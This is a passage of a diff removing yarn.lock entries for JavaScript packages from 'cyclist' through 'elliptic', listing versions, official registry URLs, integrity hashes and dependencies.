-  integrity sha512-jXKhWqXPmlUeoQnF/EhTtTl4C9SnrxSH/jZUih3jmO6lBKr99rP3/+FmrMj4EFpOXzMtXHAZkd3x0E6h6Fgflw==
-
-cyclist@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/cyclist/-/cyclist-1.0.1.tgz#596e9698fd0c80e12038c2b82d6eb1b35b6224d9"
-  integrity sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk=
-
-d@1, d@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/d/-/d-1.0.1.tgz#8698095372d58dbee346ffd0c7093f99f8f9eb5a"
-  integrity sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==
-  dependencies:
-    es5-ext "^0.10.50"
-    type "^1.0.1"
-
-damerau-levenshtein@^1.0.4, damerau-levenshtein@^1.0.6:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.7.tgz#64368003512a1a6992593741a09a9d31a836f55d"
-  integrity sha512-VvdQIPGdWP0SqFXghj79Wf/5LArmreyMsGLa6FG6iC4t3j7j5s71TrwWmT/4akbDQIqjfACkLZmjXhA7g2oUZw==
-
-dashdash@^1.12.0:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0"
-  integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=
-  dependencies:
-    assert-plus "^1.0.0"
-
-data-urls@^1.0.0, data-urls@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/data-urls/-/data-urls-1.1.0.tgz#15ee0582baa5e22bb59c77140da8f9c76963bbfe"
-  integrity sha512-YTWYI9se1P55u58gL5GkQHW4P6VJBJ5iBT+B5a7i2Tjadhv52paJG0qHX4A0OR6/t52odI64KP2YvFpkDOi3eQ==
-  dependencies:
-    abab "^2.0.0"
-    whatwg-mimetype "^2.2.0"
-    whatwg-url "^7.0.0"
-
-date-fns@^2.15.0, date-fns@^2.21.1:
-  version "2.22.1"
-  resolved "https://registry.yarnpkg.com/date-fns/-/date-fns-2.22.1.tgz#1e5af959831ebb1d82992bf67b765052d8f0efc4"
-  integrity sha512-yUFPQjrxEmIsMqlHhAhmxkuH769baF21Kk+nZwZGyrMoyLA+LugaQtC0+Tqf9CBUUULWwUJt6Q5ySI3LJDDCGg==
-
-debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.0, debug@^2.6.9:
-  version "2.6.9"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
-  integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
-  dependencies:
-    ms "2.0.0"
-
-debug@^3.1.1, debug@^3.2.5, debug@^3.2.7:
-  version "3.2.7"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
-  integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
-  dependencies:
-    ms "^2.1.1"
-
-debug@^4.0.1, debug@^4.1.0, debug@^4.1.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee"
-  integrity sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==
-  dependencies:
-    ms "2.1.2"
-
-decamelize@^1.0.0, decamelize@^1.1.1, decamelize@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
-  integrity sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=
-
-decimal.js-light@^2.5.0:
-  version "2.5.1"
-  resolved "https://registry.yarnpkg.com/decimal.js-light/-/decimal.js-light-2.5.1.tgz#134fd32508f19e208f4fb2f8dac0d2626a867934"
-  integrity sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==
-
-decode-uri-component@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/decode-uri-component/-/decode-uri-component-0.2.0.tgz#eb3913333458775cb84cd1a1fae062106bb87545"
-  integrity sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=
-
-deep-equal@^1.0.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.1.1.tgz#b5c98c942ceffaf7cb051e24e1434a25a2e6076a"
-  integrity sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==
-  dependencies:
-    is-arguments "^1.0.4"
-    is-date-object "^1.0.1"
-    is-regex "^1.0.4"
-    object-is "^1.0.1"
-    object-keys "^1.1.1"
-    regexp.prototype.flags "^1.2.0"
-
-deep-is@~0.1.3:
-  version "0.1.3"
-  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
-  integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=
-
-default-compare@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/default-compare/-/default-compare-1.0.0.tgz#cb61131844ad84d84788fb68fd01681ca7781a2f"
-  integrity sha512-QWfXlM0EkAbqOCbD/6HjdwT19j7WCkMyiRhWilc4H9/5h/RzTF9gv5LYh1+CmDV5d1rki6KAWLtQale0xt20eQ==
-  dependencies:
-    kind-of "^5.0.2"
-
-default-gateway@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/default-gateway/-/default-gateway-4.2.0.tgz#167104c7500c2115f6dd69b0a536bb8ed720552b"
-  integrity sha512-h6sMrVB1VMWVrW13mSc6ia/DwYYw5MN6+exNu1OaJeFac5aSAvwM7lZ0NVfTABuSkQelr4h5oebg3KB1XPdjgA==
-  dependencies:
-    execa "^1.0.0"
-    ip-regex "^2.1.0"
-
-default-resolution@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/default-resolution/-/default-resolution-2.0.0.tgz#bcb82baa72ad79b426a76732f1a81ad6df26d684"
-  integrity sha1-vLgrqnKtebQmp2cy8aga1t8m1oQ=
-
-deferred-leveldown@~1.2.1:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/deferred-leveldown/-/deferred-leveldown-1.2.2.tgz#3acd2e0b75d1669924bc0a4b642851131173e1eb"
-  integrity sha512-uukrWD2bguRtXilKt6cAWKyoXrTSMo5m7crUdLfWQmu8kIm88w3QZoUL+6nhpfKVmhHANER6Re3sKoNoZ3IKMA==
-  dependencies:
-    abstract-leveldown "~2.6.0"
-
-define-properties@^1.1.2, define-properties@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
-  integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==
-  dependencies:
-    object-keys "^1.0.12"
-
-define-property@^0.2.5:
-  version "0.2.5"
-  resolved "https://registry.yarnpkg.com/define-property/-/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116"
-  integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=
-  dependencies:
-    is-descriptor "^0.1.0"
-
-define-property@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/define-property/-/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6"
-  integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY=
-  dependencies:
-    is-descriptor "^1.0.0"
-
-define-property@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/define-property/-/define-property-2.0.2.tgz#d459689e8d654ba77e02a817f8710d702cb16e9d"
-  integrity sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==
-  dependencies:
-    is-descriptor "^1.0.2"
-    isobject "^3.0.1"
-
-del@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/del/-/del-4.1.1.tgz#9e8f117222ea44a31ff3a156c049b99052a9f0b4"
-  integrity sha512-QwGuEUouP2kVwQenAsOof5Fv8K9t3D8Ca8NxcXKrIpEHjTXK5J2nXLdP+ALI1cgv8wj7KuwBhTwBkOZSJKM5XQ==
-  dependencies:
-    "@types/glob" "^7.1.1"
-    globby "^6.1.0"
-    is-path-cwd "^2.0.0"
-    is-path-in-cwd "^2.0.0"
-    p-map "^2.0.0"
-    pify "^4.0.1"
-    rimraf "^2.6.3"
-
-delayed-stream@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
-  integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk=
-
-delimit-stream@0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/delimit-stream/-/delimit-stream-0.1.0.tgz#9b8319477c0e5f8aeb3ce357ae305fc25ea1cd2b"
-  integrity sha1-m4MZR3wOX4rrPONXrjBfwl6hzSs=
-
-depd@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
-  integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
-
-des.js@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843"
-  integrity sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==
-  dependencies:
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-
-destroy@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
-  integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
-
-detect-browser@5.2.0, detect-browser@^5.1.0:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/detect-browser/-/detect-browser-5.2.0.tgz#c9cd5afa96a6a19fda0bbe9e9be48a6b6e1e9c97"
-  integrity sha512-tr7XntDAu50BVENgQfajMLzacmSe34D+qZc4zjnniz0ZVuw/TZcLcyxHQjYpJTM36sGEkZZlYLnIM1hH7alTMA==
-
-detect-file@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/detect-file/-/detect-file-1.0.0.tgz#f0d66d03672a825cb1b73bdb3fe62310c8e552b7"
-  integrity sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=
-
-detect-newline@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/detect-newline/-/detect-newline-2.1.0.tgz#f41f1c10be4b00e87b5f13da680759f2c5bfd3e2"
-  integrity sha1-9B8cEL5LAOh7XxPaaAdZ8sW/0+I=
-
-detect-node@^2.0.4:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/detect-node/-/detect-node-2.1.0.tgz#c9c70775a49c3d03bc2c06d9a73be550f978f8b1"
-  integrity sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==
-
-detect-port-alt@1.1.6:
-  version "1.1.6"
-  resolved "https://registry.yarnpkg.com/detect-port-alt/-/detect-port-alt-1.1.6.tgz#24707deabe932d4a3cf621302027c2b266568275"
-  integrity sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==
-  dependencies:
-    address "^1.0.1"
-    debug "^2.6.0"
-
-diff-sequences@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-24.9.0.tgz#5715d6244e2aa65f48bba0bc972db0b0b11e95b5"
-  integrity sha512-Dj6Wk3tWyTE+Fo1rW8v0Xhwk80um6yFYKbuAxc9c3EZxIHFDYwbi34Uk42u1CdnIiVorvt4RmlSDjIPyzGC2ew==
-
-diff-sequences@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-26.6.2.tgz#48ba99157de1923412eed41db6b6d4aa9ca7c0b1"
-  integrity sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q==
-
-diffie-hellman@^5.0.0:
-  version "5.0.3"
-  resolved "https://registry.yarnpkg.com/diffie-hellman/-/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875"
-  integrity sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==
-  dependencies:
-    bn.js "^4.1.0"
-    miller-rabin "^4.0.0"
-    randombytes "^2.0.0"
-
-dijkstrajs@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/dijkstrajs/-/dijkstrajs-1.0.2.tgz#2e48c0d3b825462afe75ab4ad5e829c8ece36257"
-  integrity sha512-QV6PMaHTCNmKSeP6QoXhVTw9snc9VD8MulTT0Bd99Pacp4SS1cjcrYPgBPmibqKVtMJJfqC6XvOXgPMEEPH/fg==
-
-dir-glob@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-2.0.0.tgz#0b205d2b6aef98238ca286598a8204d29d0a0034"
-  integrity sha512-37qirFDz8cA5fimp9feo43fSuRo2gHwaIn6dXL8Ber1dGwUosDrGZeCCXq57WnIqE4aQ+u3eQZzsk1yOzhdwag==
-  dependencies:
-    arrify "^1.0.1"
-    path-type "^3.0.0"
-
-dir-glob@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-3.0.1.tgz#56dbf73d992a4a93ba1584f4534063fd2e41717f"
-  integrity sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==
-  dependencies:
-    path-type "^4.0.0"
-
-dns-equal@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/dns-equal/-/dns-equal-1.0.0.tgz#b39e7f1da6eb0a75ba9c17324b34753c47e0654d"
-  integrity sha1-s55/HabrCnW6nBcySzR1PEfgZU0=
-
-dns-packet@^1.3.1:
-  version "1.3.4"
-  resolved "https://registry.yarnpkg.com/dns-packet/-/dns-packet-1.3.4.tgz#e3455065824a2507ba886c55a89963bb107dec6f"
-  integrity sha512-BQ6F4vycLXBvdrJZ6S3gZewt6rcrks9KBgM9vrhW+knGRqc8uEdT7fuCwloc7nny5xNoMJ17HGH0R/6fpo8ECA==
-  dependencies:
-    ip "^1.1.0"
-    safe-buffer "^5.0.1"
-
-dns-txt@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/dns-txt/-/dns-txt-2.0.2.tgz#b91d806f5d27188e4ab3e7d107d881a1cc4642b6"
-  integrity sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=
-  dependencies:
-    buffer-indexof "^1.0.0"
-
-doctrine@1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-1.5.0.tgz#379dce730f6166f76cefa4e6707a159b02c5a6fa"
-  integrity sha1-N53Ocw9hZvds76TmcHoVmwLFpvo=
-  dependencies:
-    esutils "^2.0.2"
-    isarray "^1.0.0"
-
-doctrine@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d"
-  integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==
-  dependencies:
-    esutils "^2.0.2"
-
-doctrine@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
-  integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==
-  dependencies:
-    esutils "^2.0.2"
-
-dom-accessibility-api@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/dom-accessibility-api/-/dom-accessibility-api-0.3.0.tgz#511e5993dd673b97c87ea47dba0e3892f7e0c983"
-  integrity sha512-PzwHEmsRP3IGY4gv/Ug+rMeaTIyTJvadCb+ujYXYeIylbHJezIyNToe8KfEgHTCEYyC+/bUghYOGg8yMGlZ6vA==
-
-dom-accessibility-api@^0.5.6:
-  version "0.5.6"
-  resolved "https://registry.yarnpkg.com/dom-accessibility-api/-/dom-accessibility-api-0.5.6.tgz#3f5d43b52c7a3bd68b5fb63fa47b4e4c1fdf65a9"
-  integrity sha512-DplGLZd8L1lN64jlT27N9TVSESFR5STaEJvX+thCby7fuCHonfPpAlodYc3vuUYbDuDec5w8AMP7oCM5TWFsqw==
-
-dom-align@^1.7.0:
-  version "1.12.2"
-  resolved "https://registry.yarnpkg.com/dom-align/-/dom-align-1.12.2.tgz#0f8164ebd0c9c21b0c790310493cd855892acd4b"
-  integrity sha512-pHuazgqrsTFrGU2WLDdXxCFabkdQDx72ddkraZNih1KsMcN5qsRSTR9O4VJRlwTPCPb5COYg3LOfiMHHcPInHg==
-
-dom-converter@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/dom-converter/-/dom-converter-0.2.0.tgz#6721a9daee2e293682955b6afe416771627bb768"
-  integrity sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==
-  dependencies:
-    utila "~0.4"
-
-dom-helpers@^3.2.0:
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/dom-helpers/-/dom-helpers-3.4.0.tgz#e9b369700f959f62ecde5a6babde4bccd9169af8"
-  integrity sha512-LnuPJ+dwqKDIyotW1VzmOZ5TONUN7CwkCR5hrgawTUbkBGYdeoNLZo6nNfGkCrjtE1nXXaj7iMMpDa8/d9WoIA==
-  dependencies:
-    "@babel/runtime" "^7.1.2"
-
-dom-serializer@0:
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-0.2.2.tgz#1afb81f533717175d478655debc5e332d9f9bb51"
-  integrity sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==
-  dependencies:
-    domelementtype "^2.0.1"
-    entities "^2.0.0"
-
-dom-serializer@^1.0.1:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-1.3.2.tgz#6206437d32ceefaec7161803230c7a20bc1b4d91"
-  integrity sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==
-  dependencies:
-    domelementtype "^2.0.1"
-    domhandler "^4.2.0"
-    entities "^2.0.0"
-
-dom-walk@^0.1.0:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/dom-walk/-/dom-walk-0.1.2.tgz#0c548bef048f4d1f2a97249002236060daa3fd84"
-  integrity sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w==
-
-domain-browser@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/domain-browser/-/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda"
-  integrity sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==
-
-domelementtype@1:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
-  integrity sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==
-
-domelementtype@^2.0.1, domelementtype@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.2.0.tgz#9a0b6c2782ed6a1c7323d42267183df9bd8b1d57"
-  integrity sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==
-
-domexception@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/domexception/-/domexception-1.0.1.tgz#937442644ca6a31261ef36e3ec677fe805582c90"
-  integrity sha512-raigMkn7CJNNo6Ihro1fzG7wr3fHuYVytzquZKX5n0yizGsTcYgzdIUwj1X9pK0VvjeihV+XiclP+DjwbsSKug==
-  dependencies:
-    webidl-conversions "^4.0.2"
-
-domhandler@^4.0.0, domhandler@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-4.2.0.tgz#f9768a5f034be60a89a27c2e4d0f74eba0d8b059"
-  integrity sha512-zk7sgt970kzPks2Bf+dwT/PLzghLnsivb9CcxkvR8Mzr66Olr0Ofd8neSbglHJHaHa2MadfoSdNlKYAaafmWfA==
-  dependencies:
-    domelementtype "^2.2.0"
-
-domutils@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
-  integrity sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==
-  dependencies:
-    dom-serializer "0"
-    domelementtype "1"
-
-domutils@^2.5.2, domutils@^2.6.0:
-  version "2.7.0"
-  resolved "https://registry.yarnpkg.com/domutils/-/domutils-2.7.0.tgz#8ebaf0c41ebafcf55b0b72ec31c56323712c5442"
-  integrity sha512-8eaHa17IwJUPAiB+SoTYBo5mCdeMgdcAoXJ59m6DT1vw+5iLS3gNoqYaRowaBKtGVrOF1Jz4yDTgYKLK2kvfJg==
-  dependencies:
-    dom-serializer "^1.0.1"
-    domelementtype "^2.2.0"
-    domhandler "^4.2.0"
-
-dot-case@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/dot-case/-/dot-case-3.0.4.tgz#9b2b670d00a431667a8a75ba29cd1b98809ce751"
-  integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==
-  dependencies:
-    no-case "^3.0.4"
-    tslib "^2.0.3"
-
-dot-prop@^5.2.0:
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/dot-prop/-/dot-prop-5.3.0.tgz#90ccce708cd9cd82cc4dc8c3ddd9abdd55b20e88"
-  integrity sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==
-  dependencies:
-    is-obj "^2.0.0"
-
-dotenv-expand@5.1.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/dotenv-expand/-/dotenv-expand-5.1.0.tgz#3fbaf020bfd794884072ea26b1e9791d45a629f0"
-  integrity sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==
-
-dotenv@8.2.0:
-  version "8.2.0"
-  resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-8.2.0.tgz#97e619259ada750eea3e4ea3e26bceea5424b16a"
-  integrity sha512-8sJ78ElpbDJBHNeBzUbUVLsqKdccaa/BXF1uPTw3GrvQTBgrQrtObr2mUrE38vzYd8cEv+m/JBfDLioYcfXoaw==
-
-dotenv@^8.2.0:
-  version "8.6.0"
-  resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-8.6.0.tgz#061af664d19f7f4d8fc6e4ff9b584ce237adcb8b"
-  integrity sha512-IrPdXQsk2BbzvCBGBOTmmSH5SodmqZNt4ERAZDmW4CT+tL8VtvinqywuANaFu4bOMWki16nqf0e4oC0QIaDr/g==
-
-dset@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/dset/-/dset-3.1.0.tgz#23feb6df93816ea452566308b1374d6e869b0d7b"
-  integrity sha512-7xTQ5DzyE59Nn+7ZgXDXjKAGSGmXZHqttMVVz1r4QNfmGpyj+cm2YtI3II0c/+4zS4a9yq2mBhgdeq2QnpcYlw==
-
-duplexer@^0.1.1:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
-  integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==
-
-duplexify@^3.4.2, duplexify@^3.6.0:
-  version "3.7.1"
-  resolved "https://registry.yarnpkg.com/duplexify/-/duplexify-3.7.1.tgz#2a4df5317f6ccfd91f86d6fd25d8d8a103b88309"
-  integrity sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==
-  dependencies:
-    end-of-stream "^1.0.0"
-    inherits "^2.0.1"
-    readable-stream "^2.0.0"
-    stream-shift "^1.0.0"
-
-each-props@^1.3.2:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/each-props/-/each-props-1.3.2.tgz#ea45a414d16dd5cfa419b1a81720d5ca06892333"
-  integrity sha512-vV0Hem3zAGkJAyU7JSjixeU66rwdynTAa1vofCrSA5fEln+m67Az9CcnkVD776/fsN/UjIWmBDoNRS6t6G9RfA==
-  dependencies:
-    is-plain-object "^2.0.1"
-    object.defaults "^1.1.0"
-
-easy-css-transform-builder@^0.0.2:
-  version "0.0.2"
-  resolved "https://registry.yarnpkg.com/easy-css-transform-builder/-/easy-css-transform-builder-0.0.2.tgz#a541667a7919e17f67d82b11d3cb55fdd5433022"
-  integrity sha1-pUFmenkZ4X9n2CsR08tV/dVDMCI=
-  dependencies:
-    invariant "^2.2.2"
-
-ecc-jsbn@~0.1.1:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9"
-  integrity sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=
-  dependencies:
-    jsbn "~0.1.0"
-    safer-buffer "^2.1.0"
-
-ee-first@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
-  integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
-
-electron-to-chromium@^1.3.378, electron-to-chromium@^1.3.723:
-  version "1.3.752"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.752.tgz#0728587f1b9b970ec9ffad932496429aef750d09"
-  integrity sha512-2Tg+7jSl3oPxgsBsWKh5H83QazTkmWG/cnNwJplmyZc7KcN61+I10oUgaXSVk/NwfvN3BdkKDR4FYuRBQQ2v0A==
-
-element-resize-detector@^1.2.1:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/element-resize-detector/-/element-resize-detector-1.2.2.tgz#bf7c3ff915957e4e62e86241ed2f9c86b078892b"
-  integrity sha512-+LOXRkCJc4I5WhEJxIDjhmE3raF8jtOMBDqSCgZTMz2TX3oXAX5pE2+MDeopJlGdXzP7KzPbBJaUGfNaP9HG4A==
-  dependencies:
-    batch-processor "1.0.0"
-
-elliptic@6.5.3:
-  version "6.5.3"
